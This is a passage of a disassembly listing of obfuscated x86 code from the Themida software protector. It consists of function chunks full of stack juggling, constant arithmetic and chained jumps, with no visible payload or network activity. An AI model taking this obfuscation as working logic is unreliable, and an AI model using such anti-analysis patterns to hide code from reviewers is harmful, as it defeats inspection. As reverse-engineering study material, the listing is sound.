xchg edi, [esp]
pop esp
xor ch, bh
pop bx
xor al, ch
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_586D14
; ---------------------------------------------------------------------------
loc_58E20E: ; CODE XREF: Themida_:0058A354j
push edi
not dword ptr [esp]
pop edi
xor edi, 92AAF724h
jmp loc_58FCD9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58E21E: ; CODE XREF: sub_58999B-233Ej
add esp, 4
add edx, eax
push eax
mov eax, 1D5E6AFFh
add edx, eax
pop eax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58999B
; =============== S U B R O U T I N E =======================================
sub_58E234 proc near ; CODE XREF: sub_585452+3D4Ej
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00587CF3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058892B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00589DCC SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058B2D6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058CFD3 SIZE 0000000E BYTES
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
xor ebx, [esp+4+var_4]
jmp loc_58B2D6
sub_58E234 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586650
loc_58E251: ; CODE XREF: sub_586650+7B50j
push edx
mov edx, 2B155F4Eh
jmp loc_587D14
; END OF FUNCTION CHUNK FOR sub_586650
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
jmp loc_586262
; ---------------------------------------------------------------------------
loc_58E268: ; CODE XREF: Themida_:0058E706j
mov [esp], eax
push edi
push 3FDAh
jmp loc_587D58
; ---------------------------------------------------------------------------
loc_58E276: ; CODE XREF: Themida_:0058D0E1j
pop ecx
xchg ebx, [esp]
pop esp
mov ax, [esp]
push edi
push esp
push dword ptr [esp]
pop edi
add esp, 4
add edi, 4
push 3C92h
mov [esp], ecx
mov ecx, 0A4E63h
neg ecx
sub ecx, 0FFF5B19Bh
add edi, 69651650h
jmp loc_585E21
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 12DBh
jmp loc_58D50E
; ---------------------------------------------------------------------------
loc_58E2BE: ; CODE XREF: Themida_:0058BF01j
pop ecx
sub al, dh
push dword ptr [esp]
pop edx
add esp, 4
push ecx
mov ch, 15h
push dx
jmp loc_587643
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58E2D2: ; CODE XREF: sub_58999B-26B2j
pop [esp-0Ch+arg_8]
pop esp
push ebp
jmp loc_58E158
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E2DC: ; CODE XREF: sub_585452-2A6j
push ecx
mov ecx, esp
jmp loc_5846C0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E2E4: ; CODE XREF: Themida_:00588676j
mov [esp], edi
mov edi, 4
mov edx, edi
pop edi
add edi, 6CB3046Ch
jmp loc_58A5C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DCD4
loc_58E2FA: ; CODE XREF: sub_58DCD4-59EFj
mov ecx, [esp+0Ch+var_C]
push edi
jmp loc_587492
; END OF FUNCTION CHUNK FOR sub_58DCD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E303: ; CODE XREF: sub_585452+3D82j
push 1F7F4825h
pop edx
neg edx
add edx, 44BA1D06h
inc edx
add edx, 25DA7D0Eh
mov edi, edx
jmp loc_585A42
; ---------------------------------------------------------------------------
loc_58E31F: ; CODE XREF: sub_585452+79F6j
sub eax, ebx
pop ebx
jmp loc_5863A3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E327: ; CODE XREF: Themida_:0058FF95j
push edi
push esp
pop edi
push ecx
mov ecx, 0D18469Eh
push edi
mov edi, 0D18469Ah
sub ecx, edi
pop edi
add edi, 3F9C51D7h
add edi, ecx
jmp loc_58A80C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58E346: ; CODE XREF: sub_58CCD7-19AAj
mov ecx, 24h
add ecx, 56A64F81h
jmp loc_58C6D2
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E356: ; CODE XREF: sub_585452+786Fj
xchg ebp, [esp-14h+arg_E+2]
pop esp
sub ebx, eax
push ecx
mov ecx, 186377F7h
jmp loc_589F53
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E367: ; CODE XREF: Themida_:0058EDBEj
mov ecx, [esp]
add esp, 4
push eax
mov eax, 0
add eax, ebx
push ebx
mov bh, dh
jmp loc_58CAF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E37D: ; CODE XREF: sub_585452+218Dj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp-4+arg_0]
pop esp
jmp loc_589319
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E391: ; CODE XREF: Themida_:0058DBD8j
pop eax
mov ah, bh
pop ebx
pop edx
jmp loc_589F86
; ---------------------------------------------------------------------------
loc_58E39B: ; CODE XREF: Themida_:0058D3B2j
add ecx, 5B21758h
sub ecx, 599B250Ch
add ecx, 47CC24EFh
add ecx, ebx
sub ecx, 47CC24EFh
jmp loc_58AB37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E1AF
loc_58E3BA: ; CODE XREF: sub_58E1AF-384Bj
add eax, 72FD63CBh
not eax
not eax
inc eax
shr eax, 6
add eax, 0FCEDC8EDh
add edx, eax
pop eax
jmp loc_589E29
; END OF FUNCTION CHUNK FOR sub_58E1AF
; ---------------------------------------------------------------------------
loc_58E3D4: ; CODE XREF: Themida_:0058D8C1j
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E3E0: ; CODE XREF: sub_585452+4AE5j
mov esp, [esp+42h+var_44+2]
or byte ptr [esp+42h+var_44+2], al
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58E3EC: ; CODE XREF: sub_585452+5892j
push ebx
sub esp, 4
jmp loc_58412D
; ---------------------------------------------------------------------------
loc_58E3F8: ; CODE XREF: sub_585452+3A44j
add ebp, ecx
pop ecx
jmp loc_58C0C4
; ---------------------------------------------------------------------------
loc_58E400: ; CODE XREF: sub_585452+7027j
inc al
jmp loc_58FEC2
; ---------------------------------------------------------------------------
loc_58E407: ; CODE XREF: sub_585452+4A3j
add esp, 4
sub [esp+46h+var_44+2], 44C76C89h
add [esp+46h+var_44+2], esi
push edi
mov edi, 44C76C89h
add [esp+4Ah+var_44+2], edi
jmp loc_58CAB8
; ---------------------------------------------------------------------------
loc_58E428: ; CODE XREF: sub_585452+1D4Ej
mov ecx, 4
push edx
mov edx, 46A118C9h
sub esi, edx
jmp loc_584EDA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58E43A: ; CODE XREF: sub_58EFBD-AA44j
dec ebx
shl ebx, 2
jmp loc_5885A2
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58E443: ; CODE XREF: Themida_:00584087j
pop ecx
push esi
mov esi, 0E7619B8h
and esi, 665F0D76h
not esi
sub esi, 0F9A9F6CBh
sub ecx, 30FF18A6h
add ecx, 3C577C8Ah
add ecx, esi
jmp loc_5883A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E46B: ; CODE XREF: sub_585452+33Dj
mov esi, 4
jmp loc_586EF1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E475: ; CODE XREF: Themida_:00586D87j
pop edx
add esp, 4
jmp loc_58D138
; ---------------------------------------------------------------------------
loc_58E481: ; CODE XREF: Themida_:0058E955j
pop eax
jmp loc_58486A
; ---------------------------------------------------------------------------
loc_58E487: ; CODE XREF: Themida_:0058C2DAj
push small word ptr [esp+2]
pop si
pop small word ptr [esp]
push small 329Dh
mov [esp], si
xchg di, [esp]
jmp loc_588A0A
; ---------------------------------------------------------------------------
loc_58E4A3: ; CODE XREF: Themida_:0058A312j
xchg ebp, [esp]
mov esp, [esp]
push 6334h
mov [esp], ebx
sub esp, 4
mov [esp], edx
mov edx, 0
mov ebx, edx
pop edx
add ebx, 56FE2765h
sub ebx, 4E0B7835h
jmp loc_58C3E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E4D3: ; CODE XREF: sub_585452-88j
mov [esp+0], ebx
mov ebx, esi
push ebx
jmp loc_5866AA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E4DE: ; CODE XREF: Themida_:0058DE45j
add ebx, edx
add ebx, 74E30356h
pop edx
add ebx, 4F620E08h
jmp loc_58A14E
; ---------------------------------------------------------------------------
loc_58E4F2: ; CODE XREF: Themida_:00589038j
xchg ecx, [esp]
pop esp
push edx
sub esp, 4
push esp
pop dword ptr [esp]
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop edx
add edx, 4
add edx, 4
push edx
jmp loc_587935
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58622C
loc_58E51C: ; CODE XREF: sub_58622C+Ej
push edx
mov edx, 254F180Ch
jmp loc_585414
; END OF FUNCTION CHUNK FOR sub_58622C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E527: ; CODE XREF: sub_585452-1100j
xchg edx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
mov [esp-4+arg_0], ecx
push esi
push 5BB50949h
pop esi
xchg eax, esi
neg eax
push esi
jmp loc_5872DD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E540: ; CODE XREF: Themida_:0058FDC8j
push ebx
jmp loc_58D6E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E546: ; CODE XREF: sub_585452+AB06j
inc dh
push ebx
jmp loc_58650F
; ---------------------------------------------------------------------------
loc_58E54E: ; CODE XREF: sub_585452+9EE0j
pop edi
add ebp, 339B5EF1h
push ebp
jmp loc_58682C
; ---------------------------------------------------------------------------
loc_58E55B: ; CODE XREF: sub_585452+182Aj
or esi, 5C1329E0h
xor esi, 5DBB79E3h
add edx, esi
pop esi
xchg edx, [esp+0Ah+var_C+2]
mov esp, [esp+0Ah+var_C+2]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0Eh+var_10+2]
pop esp
mov [esp+0Ah+var_C+2], edx
push ebx
jmp loc_587FFB
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58E589: ; CODE XREF: sub_58EFBD-7E77j
and ecx, 73645464h
xor ecx, 34DC05F8h
sub ecx, 24FC1594h
mov edx, ecx
pop ecx
add eax, edx
pop edx
xor eax, [esp+0]
xor [esp+0], eax
jmp loc_5864D5
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E5AC: ; CODE XREF: sub_585452+7554j
or eax, 48CE0C9Bh
xor eax, 4BF66F06h
shr eax, 2
shr eax, 5
jmp loc_58C0AE
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E5C1: ; CODE XREF: Themida_:00584603j
xchg edx, [esp]
pop esp
jmp loc_5851F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E5CA: ; CODE XREF: sub_585452+249j
mov [esp-16h+arg_12], eax
push ebx
push edx
mov dh, 5
mov bh, dh
jmp loc_583C9F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58E5D8: ; CODE XREF: sub_58FA66-34B0j
add ecx, 352D783Ah
jmp loc_58AFCD
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58E5E3: ; CODE XREF: Themida_:00586C0Ej
push dword ptr [esp]
pop ecx
jmp loc_587FCE
; ---------------------------------------------------------------------------
loc_58E5EC: ; CODE XREF: Themida_:005875D4j
mov dx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 2
jmp loc_58D4E7
; ---------------------------------------------------------------------------
loc_58E601: ; CODE XREF: Themida_:0058EB83j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edx
push small 86Dh
pop dx
add dx, 11C3h
add dx, 1
not dx
dec dx
not dx
jmp loc_5876D2
; ---------------------------------------------------------------------------
loc_58E635: ; CODE XREF: Themida_:0058790Bj
mov cl, 43h
jmp loc_58BAF1
; ---------------------------------------------------------------------------
loc_58E63C: ; CODE XREF: Themida_:005868E4j
sub edi, 0B309CB63h
add esi, edi
pop edi
add esi, eax
push eax
jmp loc_585A68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E64D: ; CODE XREF: sub_585452+2FECj
mov [esp+0Ch+var_C], esi
sub [esp+0Ch+var_C], 48A6431Eh
pop eax
jmp loc_58467B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E65D: ; CODE XREF: Themida_:0058C3A3j
sub ebx, 0FFFFFFFFh
jmp loc_5854F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E668: ; CODE XREF: sub_585452+5C13j
add esp, 4
add edx, 4
add edx, 4
push edx
push [esp+0Ah+var_8+2]
pop edx
pop [esp+0Ah+var_C+2]
pop esp
push [esp+2+var_4+2]
push [esp+6+var_8+2]
mov edx, [esp+0Ah+var_C+2]
add esp, 4
add esp, 4
sub esp, 4
mov [esp+6+var_8+2], esi
jmp sub_58A5A3
; ---------------------------------------------------------------------------
loc_58E69B: ; CODE XREF: sub_585452+68FCj
sub al, 0A7h
add al, bl
add al, 0A7h
sub al, 0A1h
jmp loc_58846C
; ---------------------------------------------------------------------------
loc_58E6A8: ; CODE XREF: sub_585452+E74j
add ebx, 258F67E9h
sub ebx, eax
push edx
jmp sub_5877DD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E6B6: ; CODE XREF: Themida_:0058A5D6j
sub edi, 6CB3046Ch
pop edx
jmp loc_58899C
; =============== S U B R O U T I N E =======================================
sub_58E6C2 proc near ; CODE XREF: sub_585452+291j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00586CA7 SIZE 00000030 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
sub esp, 4
jmp loc_586CA7
sub_58E6C2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E6D0: ; CODE XREF: sub_585452+1B56j
push eax
mov eax, 4
jmp loc_586DCC
; ---------------------------------------------------------------------------
loc_58E6DB: ; CODE XREF: sub_585452-55Ej
add esp, 4
pop [esp-32h+arg_2C+2]
pop esp
push eax
mov eax, esp
push 1847h
mov [esp-32h+arg_2C+2], edx
push 4
pop edx
add eax, 2C3F4A5Ch
jmp loc_58941A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_58E268
; ---------------------------------------------------------------------------
loc_58E70B: ; CODE XREF: Themida_:005876D3j
mov cx, 2635h
jmp loc_5852F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E714: ; CODE XREF: sub_585452+43E0j
add ebp, 4
xchg ebp, [esp+2+var_4+2]
pop esp
add [esp-2+arg_0+2], esi
pop esi
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58E728: ; CODE XREF: sub_585452+20D4j
mov [esp-4+arg_0], ebp
jmp loc_584103
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E730: ; CODE XREF: Themida_:00589435j
push eax
push edx
mov dh, 0A0h
jmp loc_58BDF3
; ---------------------------------------------------------------------------
loc_58E739: ; CODE XREF: Themida_:0058BD2Cj
pop ebp
add ebx, 95D58805h
jmp loc_58E8B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E745: ; CODE XREF: sub_585452+4617j
push 4D9Bh
jmp loc_58D417
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A170
loc_58E74F: ; CODE XREF: sub_58A170-31EEj
inc dh
jmp loc_5848D6
; END OF FUNCTION CHUNK FOR sub_58A170
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E756: ; CODE XREF: sub_585452+77A9j
pop edx
push edi
push [esp-14h+arg_12+2]
jmp loc_5855C0
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58E761 proc near ; CODE XREF: sub_585452+3CEBj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0058644C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00586748 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00587E29 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058A9F6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058AB20 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058B536 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DF87 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058EA9D SIZE 00000012 BYTES
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 2FD70D95h
xor esi, 2FD70D97h
mov ebx, esi
jmp loc_58644C
sub_58E761 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E779: ; CODE XREF: sub_585452+587Ej
pop ebp
pop [esp+0Eh+var_10+2]
jmp loc_588106
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585019
loc_58E782: ; CODE XREF: sub_585019+5D32j
or eax, eax
jz loc_587C9E
push dword ptr [edi+1Ch]
jmp loc_586281
; END OF FUNCTION CHUNK FOR sub_585019
; ---------------------------------------------------------------------------
loc_58E792: ; CODE XREF: Themida_:00584A5Ej
sub al, bl
jmp loc_588E9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E799: ; CODE XREF: sub_585452+21C0j
push 31D9h
mov [esp+0Ah+var_C+2], ebx
push [esp+0Ah+var_C+2]
pop eax
push ebp
mov ebp, esp
add ebp, 4
push 735Ch
mov [esp+12h+var_14+2], edx
mov edx, 6FC22B8Ch
inc edx
xor edx, 32E75B41h
jmp loc_586DFA
; ---------------------------------------------------------------------------
loc_58E7C7: ; CODE XREF: sub_585452+14DEj
mov [esp+46h+var_48+2], ebp
push 7517h
mov [esp+4Ah+var_4C+2], esp
add [esp+4Ah+var_4C+2], 4
jmp loc_58FCAE
; ---------------------------------------------------------------------------
loc_58E7DE: ; CODE XREF: sub_585452+5BDj
pop esp
mov word ptr [esp+4Eh+var_50+2], cx
jmp loc_586A54
; ---------------------------------------------------------------------------
loc_58E7E8: ; CODE XREF: sub_585452-91Fj
push dword ptr [esp+0]
pop eax
add esp, 4
jmp loc_589D8F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58E7F4: ; CODE XREF: sub_589967-F9Ej
pop ebp
add ebp, 4
push esi
mov esi, 4
add ebp, esi
jmp loc_58664B
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58E808: ; CODE XREF: sub_58AB18+218Dj
pop esi
push ecx
mov ecx, 58B95684h
xor ecx, 22AD0D04h
add edi, ecx
pop ecx
sub edi, 41700BC5h
sub edi, esi
jmp loc_58CB99
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
loc_58E825: ; CODE XREF: Themida_:00589CB2j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5888C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58E830: ; CODE XREF: sub_589967+5567j
pop esp
jmp loc_58817C
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_58E836: ; CODE XREF: sub_58960C-5727j
pop esi
add ebx, eax
push esi
mov esi, 335C6A95h
xor esi, 3E9C5395h
add ebx, 2A497914h
sub ebx, esi
sub ebx, 2A497914h
pop esi
jmp loc_589261
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
loc_58E859: ; CODE XREF: Themida_:0058995Bj
pop edi
xchg edi, ebx
jmp loc_584BAD
; ---------------------------------------------------------------------------
loc_58E861: ; CODE XREF: Themida_:0058E979j
mov ebx, 5FE51DDAh
mov edi, ebx
pop ebx
jmp loc_58F304
; ---------------------------------------------------------------------------
loc_58E86E: ; CODE XREF: Themida_:0058D3A7j
add esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_58F549
; ---------------------------------------------------------------------------
loc_58E87B: ; CODE XREF: Themida_:00585EE5j
xor ecx, [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_587D77
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
push ebp
mov ebp, 18A54DE4h
not ebp
push eax
mov eax, 7AD576BFh
shr eax, 5
add eax, 432B5F10h
sub ebp, eax
push dword ptr [esp]
jmp loc_588DE2
; ---------------------------------------------------------------------------
loc_58E8B9: ; CODE XREF: Themida_:0058E740j
add eax, ebx
pop ebx
push 487Dh
mov [esp], edx
jmp loc_586573
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E8C9: ; CODE XREF: sub_585452+578j
add [esp+52h+var_54+2], 4
push [esp+52h+var_54+2]
pop ecx
add esp, 4
add ecx, 4
push eax
mov eax, 2
add ecx, eax
pop eax
xor ecx, [esp+4Eh+var_50+2]
xor [esp+4Eh+var_50+2], ecx
xor ecx, [esp+4Eh+var_50+2]
mov esp, [esp+4Eh+var_50+2]
jmp loc_58D786
; ---------------------------------------------------------------------------
loc_58E8F7: ; CODE XREF: sub_585452+6B90j
add esp, 4
jmp loc_584CB3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E8FF: ; CODE XREF: Themida_:00588B6Fj
mov ebp, 4
jmp loc_58596F
; ---------------------------------------------------------------------------
loc_58E909: ; CODE XREF: Themida_:0058AB43j
pop ebx
sub esp, 4
jmp loc_588A91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58E912: ; CODE XREF: sub_58FA66-5D2Bj
xor eax, ebp
jmp loc_589151
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58E919: ; CODE XREF: sub_585452+227Bj
push 6DDh
mov [esp-0Ch+arg_8], ebp
mov ebp, esp
jmp loc_58BE27
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58E928: ; CODE XREF: Themida_:0058D5D3j
add [esp], eax
pushf
jmp loc_587444
; =============== S U B R O U T I N E =======================================
sub_58E931 proc near ; CODE XREF: sub_585452+53E2j
; sub_585452+A882j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00583CC6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00584633 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005846F5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00584F38 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00585107 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588FBA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A53A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058CC2E SIZE 00000009 BYTES
push ebx
push edx
mov edx, 56E060Ah
jmp loc_58A53A
sub_58E931 endp
; ---------------------------------------------------------------------------
loc_58E93D: ; CODE XREF: Themida_:0058943Cj
push ecx
mov ecx, 22705FC7h
mov ebx, 0C7508F00h
xor ebx, ecx
pop ecx
mov ebp, ebx
mov ebx, [esp]
add esp, 4
add ebp, eax
jmp loc_58E481
; ---------------------------------------------------------------------------
loc_58E95A: ; CODE XREF: Themida_:0058967Cj
xchg edi, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
mov eax, esp
push 49C6h
jmp loc_58C32B
; ---------------------------------------------------------------------------
loc_58E977: ; CODE XREF: Themida_:0058DE0Dj
push edi
push ebx
jmp loc_58E861
; ---------------------------------------------------------------------------
loc_58E97E: ; CODE XREF: Themida_:005873E0j
add ecx, ebp
pop ebp
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_58F247
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_58E9A3: ; CODE XREF: sub_58960C+485Bj
neg esi
or esi, 33BF54ECh
sub esi, 2B8A1FBFh
xor eax, esi
pop esi
push 3B0Eh
mov [esp+0], ecx
mov ecx, 502059FEh
push edx
jmp loc_587A59
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
loc_58E9C7: ; CODE XREF: Themida_:00586F11j
add esp, 4
jmp loc_584DEC
; ---------------------------------------------------------------------------
loc_58E9D2: ; CODE XREF: Themida_:005847FDj
push ecx
jmp loc_589BA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58E9D8: ; CODE XREF: sub_58EFBD-2FF0j
shr edx, 1
cmp eax, edx
jz loc_589F94
push ebp
push edx
mov edx, 15122A2Dh
shl edx, 2
sub edx, 45CF282Eh
xor edx, 511E97D0h
mov ebp, edx
push dword ptr [esp+0]
pop edx
jmp loc_58DF05
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58EA03: ; CODE XREF: Themida_:00589A46j
pop ecx
xchg ebx, [esp]
pop esp
jmp loc_584BBB
; ---------------------------------------------------------------------------
loc_58EA0D: ; CODE XREF: Themida_:0058C730j
sub edi, edx
pop edx
neg edi
dec edi
not edi
inc edi
or edi, 0A3E5C7Ch
sub edi, 0A07AC2A6h
dec edi
add edi, 58B8590Eh
xor edi, 28595C65h
jmp loc_58CD59
; =============== S U B R O U T I N E =======================================
sub_58EA34 proc near ; CODE XREF: sub_585452+1F8j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00586188 SIZE 00000091 BYTES
; FUNCTION CHUNK AT 005896DD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A925 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B8C6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058C29A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CFC1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E009 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FDB9 SIZE 00000005 BYTES
push ebx
sub esp, 4
mov [esp+8+var_8], esp
jmp loc_58B8C6
sub_58EA34 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58EA40: ; CODE XREF: sub_58999B+4589j
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp+0]
mov eax, [esp+0]
push ecx
mov ecx, esp
jmp loc_5886AA
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EA54: ; CODE XREF: sub_585452+3EBAj
mov [esp+0Eh+var_10+2], eax
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58EA5C: ; CODE XREF: Themida_:005865B8j
pop edx
jmp loc_58AC27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58EA62: ; CODE XREF: sub_585452+40Ej
mov eax, 41E64AD5h
xor eax, 41E64AD1h
add ebp, 3FF320CEh
add ebp, eax
sub ebp, 3FF320CEh
pop eax
add ebp, 4
jmp loc_585658
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58EA83: ; CODE XREF: Themida_:00583DCCj
pop ecx
add ebp, 8DDDA8A6h
add eax, ebp
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_58CCDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E761
loc_58EA9D: ; CODE XREF: sub_58E761-7D4j
add esp, 4
add esi, 4
push ebx
jmp loc_58A9F6
; END OF FUNCTION CHUNK FOR sub_58E761
; ---------------------------------------------------------------------------
